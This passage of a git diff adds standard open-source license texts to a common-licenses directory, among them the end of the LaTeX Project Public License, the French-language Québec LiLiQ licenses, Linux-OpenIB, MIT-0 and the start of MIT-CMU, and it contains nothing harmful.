+7. If you are not the Current Maintainer of the Work, you may distribute a Compiled Work generated from a Derived Work, as long as the Derived Work is distributed to all recipients of the Compiled Work, and as long as the conditions of Clause 6, above, are met with regard to the Derived Work.
+
+8. The conditions above are not intended to prohibit, and hence do not apply to, the modification, by any method, of any component so that it becomes identical to an updated version of that component of the Work as it is distributed by the Current Maintainer under Clause 4, above.
+
+9. Distribution of the Work or any Derived Work in an alternative format, where the Work or that Derived Work (in whole or in part) is then produced by applying some process to that format, does not relax or nullify any sections of this license as they pertain to the results of applying that process.
+
+10.
+ a. A Derived Work may be distributed under a different license provided that license itself honors the conditions listed in Clause 6 above, in regard to the Work, though it does not have to honor the rest of the conditions in this license.
+
+ b. If a Derived Work is distributed under this license, that Derived Work must provide sufficient documentation as part of itself to allow each recipient of that Derived Work to honor the restrictions in Clause 6 above, concerning changes from the Work.
+
+11. This license places no restrictions on works that are unrelated to the Work, nor does this license place any restrictions on aggregating such works with the Work by any means.
+
+12. Nothing in this license is intended to, or may be used to, prevent complete compliance by all parties with all applicable laws.
+
+NO WARRANTY
+===========
+
+There is no warranty for the Work. Except when otherwise stated in writing, the Copyright Holder provides the Work `as is', without warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of the Work is with you. Should the Work prove defective, you assume the cost of all necessary servicing, repair, or correction.
+
+In no event unless required by applicable law or agreed to in writing will The Copyright Holder, or any author named in the components of the Work, or any other party who may distribute and/or modify the Work as permitted above, be liable to you for damages, including any general, special, incidental or consequential damages arising out of any use of the Work or out of inability to use the Work (including, but not limited to, loss of data, data being rendered inaccurate, or losses sustained by anyone as a result of any failure of the Work to operate with any other programs), even if the Copyright Holder or said author or said other party has been advised of the possibility of such damages.
+
+MAINTENANCE OF THE WORK
+=======================
+
+The Work has the status `author-maintained' if the Copyright Holder explicitly and prominently states near the primary copyright notice in the Work that the Work can only be maintained by the Copyright Holder or simply that is `author-maintained'.
+
+The Work has the status `maintained' if there is a Current Maintainer who has indicated in the Work that they are willing to receive error reports for the Work (for example, by supplying a valid e-mail address). It is not required for the Current Maintainer to acknowledge or act upon these error reports.
+
+The Work changes from status `maintained' to `unmaintained' if there is no Current Maintainer, or the person stated to be Current Maintainer of the work cannot be reached through the indicated means of communication for a period of six months, and there are no other significant signs of active maintenance.
+
+You can become the Current Maintainer of the Work by agreement with any existing Current Maintainer to take over this role.
+
+If the Work is unmaintained, you can become the Current Maintainer of the Work through the following steps:
+
+ 1. Make a reasonable attempt to trace the Current Maintainer (and the Copyright Holder, if the two differ) through the means of an Internet or similar search.
+
+ 2. If this search is successful, then enquire whether the Work is still maintained.
+
+ a. If it is being maintained, then ask the Current Maintainer to update their communication data within one month.
+
+ b. If the search is unsuccessful or no action to resume active maintenance is taken by the Current Maintainer, then announce within the pertinent community your intention to take over maintenance. (If the Work is a LaTeX work, this could be done, for example, by posting to comp.text.tex.)
+
+ 3a. If the Current Maintainer is reachable and agrees to pass maintenance of the Work to you, then this takes effect immediately upon announcement.
+
+ b. If the Current Maintainer is not reachable and the Copyright Holder agrees that maintenance of the Work be passed to you, then this takes effect immediately upon announcement.
+
+ 4. If you make an `intention announcement' as described in 2b. above and after three months your intention is challenged neither by the Current Maintainer nor by the Copyright Holder nor by other people, then you may arrange for the Work to be changed so as to name you as the (new) Current Maintainer.
+
+ 5. If the previously unreachable Current Maintainer becomes reachable once more within three months of a change completed under the terms of 3b) or 4), then that Current Maintainer must become or remain the Current Maintainer upon request provided they then update their communication data within one month.
+
+A change in the Current Maintainer does not, of itself, alter the fact that the Work is distributed under the LPPL license.
+
+If you become the Current Maintainer of the Work, you should immediately provide, within the Work, a prominent and unambiguous statement of your status as Current Maintainer. You should also announce your new status to the same pertinent community as in 2b) above.
+
+WHETHER AND HOW TO DISTRIBUTE WORKS UNDER THIS LICENSE
+======================================================
+
+This section contains important instructions, examples, and recommendations for authors who are considering distributing their works under this license. These authors are addressed as `you' in this section.
+
+Choosing This License or Another License
+----------------------------------------
+
+If for any part of your work you want or need to use *distribution* conditions that differ significantly from those in this license, then do not refer to this license anywhere in your work but, instead, distribute your work under a different license. You may use the text of this license as a model for your own license, but your license should not refer to the LPPL or otherwise give the impression that your work is distributed under the LPPL.
+
+The document `modguide.tex' in the base LaTeX distribution explains the motivation behind the conditions of this license. It explains, for example, why distributing LaTeX under the GNU General Public License (GPL) was considered inappropriate. Even if your work is unrelated to LaTeX, the discussion in `modguide.tex' may still be relevant, and authors intending to distribute their works under any license are encouraged to read it.
+
+A Recommendation on Modification Without Distribution
+-----------------------------------------------------
+
+It is wise never to modify a component of the Work, even for your own personal use, without also meeting the above conditions for distributing the modified component. While you might intend that such modifications will never be distributed, often this will happen by accident -- you may forget that you have modified that component; or it may not occur to you when allowing others to access the modified version that you are thus distributing it and violating the conditions of this license in ways that could have legal implications and, worse, cause problems for the community. It is therefore usually in your best interest to keep your copy of the Work identical with the public one. Many works provide ways to control the behavior of that work without altering any of its licensed components.
+
+How to Use This License
+-----------------------
+
+To use this license, place in each of the components of your work both an explicit copyright notice including your name and the year the work was authored and/or last substantially modified. Include also a statement that the distribution and/or modification of that component is constrained by the conditions in this license.
+
+Here is an example of such a notice and statement:
+
+ %% pig.dtx
+ %% Copyright 2003 M. Y. Name
+ %
+ % This work may be distributed and/or modified under the
+ % conditions of the LaTeX Project Public License, either version 1.3
+ % of this license or (at your option) any later version.
+ % The latest version of this license is in
+ % http://www.latex-project.org/lppl.txt
+ % and version 1.3 or later is part of all distributions of LaTeX
+ % version 2003/12/01 or later.
+ %
+ % This work has the LPPL maintenance status "maintained".
+ %
+ % This Current Maintainer of this work is M. Y. Name.
+ %
+ % This work consists of the files pig.dtx and pig.ins % and the derived file pig.sty.
+
+Given such a notice and statement in a file, the conditions given in this license document would apply, with the `Work' referring to the three files `pig.dtx', `pig.ins', and `pig.sty' (the last being generated from `pig.dtx' using `pig.ins'), the `Base Interpreter' referring to any "LaTeX-Format", and both `Copyright Holder' and `Current Maintainer' referring to the person `M. Y. Name'.
+
+If you do not want the Maintenance section of LPPL to apply to your Work, change "maintained" above into "author-maintained". However, we recommend that you use "maintained" as the Maintenance section was added in order to ensure that your Work remains useful to the community even when you can no longer maintain and support it yourself.
+
+Important Recommendations
+-------------------------
+
+Defining What Constitutes the Work
+
+The LPPL requires that distributions of the Work contain all the files of the Work. It is therefore important that you provide a way for the licensee to determine which files constitute the Work. This could, for example, be achieved by explicitly listing all the files of the Work near the copyright notice of each file or by using a line such as:
+
+ % This work consists of all files listed in manifest.txt.
+
+in that place. In the absence of an unequivocal list it might be impossible for the licensee to determine what is considered by you to comprise the Work and, in such a case, the licensee would be entitled to make reasonable conjectures as to which files comprise the Work.
diff --git a/meta/files/common-licenses/Latex2e b/meta/files/common-licenses/Latex2e
new file mode 100644
index 0000000000..2ce86bed0e
--- /dev/null
+++ b/meta/files/common-licenses/Latex2e
@@ -0,0 +1,9 @@
+Copyright (C) 2007, 2008, 2009, 2010 Karl Berry.
+Copyright (C) 1988, 1994, 2007 Stephen Gilmore.
+Copyright (C) 1994, 1995, 1996 Torsten Martinsen.
+
+Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.
+
+Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.
+
+Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions.
diff --git a/meta/files/common-licenses/Leptonica b/meta/files/common-licenses/Leptonica
new file mode 100644
index 0000000000..9bc67e6ca8
--- /dev/null
+++ b/meta/files/common-licenses/Leptonica
@@ -0,0 +1,9 @@
+Copyright (C) 2001 Leptonica. All rights reserved.
+
+This software is distributed in the hope that it will be useful, but with NO WARRANTY OF ANY KIND.
+
+No author or distributor accepts responsibility to anyone for the consequences of using this software, or for whether it serves any particular purpose or works at all, unless he or she says so in writing. Everyone is granted permission to copy, modify and redistribute this source code, for commercial or non-commercial purposes, with the following restrictions:
+
+(1) the origin of this source code must not be misrepresented;
+(2) modified versions must be plainly marked as such; and
+(3) this notice may not be removed or altered from any source or modified source distribution.
diff --git a/meta/files/common-licenses/LiLiQ-P-1.1 b/meta/files/common-licenses/LiLiQ-P-1.1
new file mode 100644
index 0000000000..594cc742e0
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-P-1.1
@@ -0,0 +1,70 @@
+Licence Libre du Québec – Permissive (LiLiQ-P)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Permissive (LiLiQ-P) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante;
+ 4 Sous-licencier sous une autre licence libre, approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable de dommages subis par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est automatiquement résiliée dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant cause, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/LiLiQ-R-1.1 b/meta/files/common-licenses/LiLiQ-R-1.1
new file mode 100644
index 0000000000..449febd599
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-R-1.1
@@ -0,0 +1,94 @@
+Licence Libre du Québec – Réciprocité (LiLiQ-R)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Réciprocité (LiLiQ-R) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+4.1. Réciprocité
+Chaque fois que le licencié distribue le logiciel, le concédant offre au récipiendaire une concession sur le logiciel selon les termes de la présente licence. Le licencié doit offrir une concession selon les termes de la présente licence pour tout logiciel modifié qu'il distribue.
+
+Chaque fois que le licencié distribue le logiciel ou un logiciel modifié, ce dernier doit assumer l'obligation d'en distribuer le code source, de la manière prévue au troisième alinéa de l'article 3.
+
+4.2. Compatibilité
+Dans la mesure où le licencié souhaite distribuer un logiciel modifié combiné à un logiciel assujetti à une licence compatible, mais dont il ne serait pas possible d'en respecter les termes, le concédant offre, en plus de la présente concession, une concession selon les termes de cette licence compatible.
+
+Un licencié qui est titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible ne peut pas se prévaloir de cette offre. Il en est de même pour toute autre personne dûment autorisée à sous-licencier par le titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible.
+
+Est considérée comme une licence compatible toute licence libre approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative, dont le niveau de réciprocité est comparable ou supérieur à celui de la présente licence, sans toutefois être moindre, notamment :
+
+ 1 Common Development and Distribution License (CDDL-1.0)
+ 2 Common Public License Version 1.0 (CPL-1.0)
+ 3 Contrat de licence de logiciel libre CeCILL, version 2.1 (CECILL-2.1)
+ 4 Contrat de licence de logiciel libre CeCILL-C (CECILL-C)
+ 5 Eclipse Public License - v 1.0 (EPL-1.0)
+ 6 European Union Public License, version 1.1 (EUPL v. 1.1)
+ 7 Licence Libre du Québec – Réciprocité forte version 1.1 (LiLiQ-R+ 1.1)
+ 8 GNU General Public License Version 2 (GNU GPLv2)
+ 9 GNU General Public License Version 3 (GNU GPLv3)
+ 10 GNU Lesser General Public License Version 2.1 (GNU LGPLv2.1)
+ 11 GNU Lesser General Public License Version 3 (GNU LGPLv3)
+ 12 Mozilla Public License Version 2.0 (MPL-2.0)
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable du préjudice subi par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est résiliée de plein droit dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant droit, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/LiLiQ-Rplus-1.1 b/meta/files/common-licenses/LiLiQ-Rplus-1.1
new file mode 100644
index 0000000000..58566cb1bb
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-Rplus-1.1
@@ -0,0 +1,88 @@
+Licence Libre du Québec – Réciprocité forte (LiLiQ-R+)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Réciprocité forte (LiLiQ-R+) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+4.1. Réciprocité
+Chaque fois que le licencié distribue le logiciel, le concédant offre au récipiendaire une concession sur le logiciel selon les termes de la présente licence. Le licencié doit offrir une concession selon les termes de la présente licence pour tout logiciel modifié ou dérivé qu'il distribue.
+
+Chaque fois que le licencié distribue le logiciel, un logiciel modifié, ou un logiciel dérivé, ce dernier doit assumer l'obligation d'en distribuer le code source, de la manière prévue au troisième alinéa de l'article 3.
+
+4.2. Compatibilité
+Dans la mesure où le licencié souhaite distribuer un logiciel modifié ou dérivé combiné à un logiciel assujetti à une licence compatible, mais dont il ne serait pas possible d'en respecter les termes, le concédant offre, en plus de la présente concession, une concession selon les termes de cette licence compatible.
+
+Un licencié qui est titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible ne peut pas se prévaloir de cette offre. Il en est de même pour toute autre personne dûment autorisée à sous-licencier par le titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible.
+
+Est considérée comme une licence compatible toute licence libre approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative, dont le niveau de réciprocité est comparable à celui de la présente licence, sans toutefois être moindre, notamment :
+
+ 1 Common Public License Version 1.0 (CPL-1.0)
+ 2 Contrat de licence de logiciel libre CeCILL, version 2.1 (CECILL-2.1)
+ 3 Eclipse Public License - v 1.0 (EPL-1.0)
+ 4 European Union Public License, version 1.1 (EUPL v. 1.1)
+ 5 GNU General Public License Version 2 (GNU GPLv2)
+ 6 GNU General Public License Version 3 (GNU GPLv3)
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable du préjudice subi par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est résiliée de plein droit dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant cause, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/Linux-OpenIB b/meta/files/common-licenses/Linux-OpenIB
new file mode 100644
index 0000000000..03ccf61ccc
--- /dev/null
+++ b/meta/files/common-licenses/Linux-OpenIB
@@ -0,0 +1,18 @@
+Redistribution and use in source and binary forms, with or
+without modification, are permitted provided that the following
+conditions are met:
+
+- Redistributions of source code must retain the above copyright notice, this
+list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-0 b/meta/files/common-licenses/MIT-0
new file mode 100644
index 0000000000..a4e9dc9061
--- /dev/null
+++ b/meta/files/common-licenses/MIT-0
@@ -0,0 +1,16 @@
+MIT No Attribution
+
+Copyright <YEAR> <COPYRIGHT HOLDER>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this
+software and associated documentation files (the "Software"), to deal in the Software
+without restriction, including without limitation the rights to use, copy, modify,
+merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-CMU b/meta/files/common-licenses/MIT-CMU
new file mode 100644
index 0000000000..2b11a7b08f
--- /dev/null
+++ b/meta/files/common-licenses/MIT-CMU
@@ -0,0 +1,7 @@
+<copyright notice>
+
+By obtaining, using, and/or copying this software and/or its associated documentation, you agree that you have read, understood, and will comply with the following terms and conditions:
+
